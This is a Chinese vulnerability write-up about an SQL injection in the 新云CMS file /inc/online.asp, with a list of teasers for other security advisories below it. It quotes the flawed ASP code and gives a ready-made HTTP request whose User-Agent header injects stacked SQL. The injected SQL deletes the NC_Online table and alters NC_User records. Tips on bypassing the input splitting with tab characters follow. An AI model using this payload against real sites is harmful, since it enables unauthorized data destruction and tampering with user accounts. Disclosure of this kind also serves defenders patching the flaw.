新云CMS Online.asp页面过滤不严导致SQL注入漏洞                
                
                    所属分类:
                        网络安全 / 漏洞分析                    
                    阅读数:
                        155
                    
                        收藏 0赞 0分享
                    
                 
                
                    受影响系统:
最新版本
漏洞文件:
/inc/online.asp
代码分析如下:
OnlineSQL = "INSERT INTO NC_Online(id,ChannelID,username,identitys,station,ip,browser,startTime,lastTime,userid,strReferer) VALUES (" & UserSessionID & "," & cid & ",'" & strUsername & "','" & stridentitys & "','" & CurrentStation & "','" & remoteaddr & "','" & BrowserType.platform&"|"&BrowserType.Browser&BrowserType.version & "|"&BrowserType.AlexaToolbar&"'," & NowString & "," & NowString & "," & userid & ",'" & strReferer & "')" //第69行
。。。。。。
Agent = Request.ServerVariables("HTTP_USER_AGENT") //第99行
。。。。。。
ElseIf Left(Agent, 5) = "Opera" Then '有此标识为浏览器 //第162行
      Agent = Split(Agent, "/")
      Browser = "Mozilla "
      Tmpstr = Split(Agent(1), " ")
      version = Tmpstr(0)
HTTP_USER_AGENT我们可以控制,则version变量我们就可以控制了。
构造数据包如下:
POST /inc/online.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://localhost/xx.htm
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Opera/haha',2008,2009,11111,'');delete  from  NC_Online;update[NC_User]set[buycode]=7;--
Host: localhost
Connection: Keep-Alive
Cookie: ASPSESSIONIDAABBCRRS=FFGNDBDDKJLFADOGOMKLBGPF
成功执行sql语句
注意的地方:
1.  在两次分割成数组的时候是以"/"和" ",所以构造的sql语句时使用的间隔符就不能用/**/和空格,上面是使用tab键弄出来的空格。
2.  一定要加上delete  from    NC_Online,不然下次程序就不执行insert语句,而改成执行update语句了。
                                    
             
            
                
                2007年12月网络安全漏洞总结
 声明:本十大安全漏洞由NSFOCUS安全小组根据安全漏洞的严重程度、影响范围等因素综合评出,仅供参考
  1.2007-12-11 Microsoft消息队列服务栈溢出漏洞
  综述:
  Microsoft Windows是微软发布的非常流行的操
                    
                    收藏 0赞 0分享
OmniPCX Enterprise存在远程命令注入漏洞
受影响系统:  
Alcatel-Lucent OmniPCX Enterprise <= 7.1  
不受影响系统:  
Alcatel-Lucent OmniPCX Enterprise 7.1 patch F5.401.19  
Alcatel-Luc
                    
                    收藏 0赞 0分享
Sun Java jpiexp32.dll对象名称含空指针引用漏洞
受影响系统: 
Sun JRE < 5.0 Update 14 
不受影响系统: 
Sun JRE 5.0 Update 14 
描述: 
Solaris系统的Java运行时环境(JRE)为JAVA应用程序提供可靠的运行环境。  
JRE处理畸
                    
                    收藏 0赞 0分享
InterBase和Firebird远程栈缓冲区溢出漏洞
受影响系统: 
Borland InterBase WI-V8.1.0.257 
Borland InterBase WI-V8.0.0.123 
Borland InterBase WI-V7.5.1.80 
Borland InterB
                    
                    收藏 0赞 0分享
IE 存在document.open()方式地址欺骗漏洞
受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft
                    
                    收藏 0赞 0分享
Microsoft IE onunload事件地址栏欺骗漏洞
受影响系统: 
Microsoft Internet Explorer 7.0 
Microsoft Internet Explorer 6.0 SP1 
Microsoft Internet Explorer 6.0 
Microsoft Internet Ex
                    
                    收藏 0赞 0分享
F2blog XMLRPC 上传任意文件漏洞
刚从官方下载的最新版:F2blog-v1.2_build_03.01_full
存在漏洞文件:xmlrpc.php,
影响:可上传任意文件到服务器。
原理:get_http_raw_post_data()是获取最原始的传递过来的数据,也是说不会因为PHP环境的ma
                    
                    收藏 0赞 0分享
FTP客户端目录遍历漏洞可向任意位置写文件
FFFTP是一款小型的FTP客户端软件。FFFTP客户端没有正确地验证FTP服务器所返回的LIST命令响应中包含有目录遍历序列(斜线)的文件名,如果用户受骗从恶意的FTP服务器下载的目录包含有带有恶意文件名的文件的话,就可能导致向用户系统的任意位置写入文件。  
    受影
                    
                    收藏 0赞 0分享
                 查看更多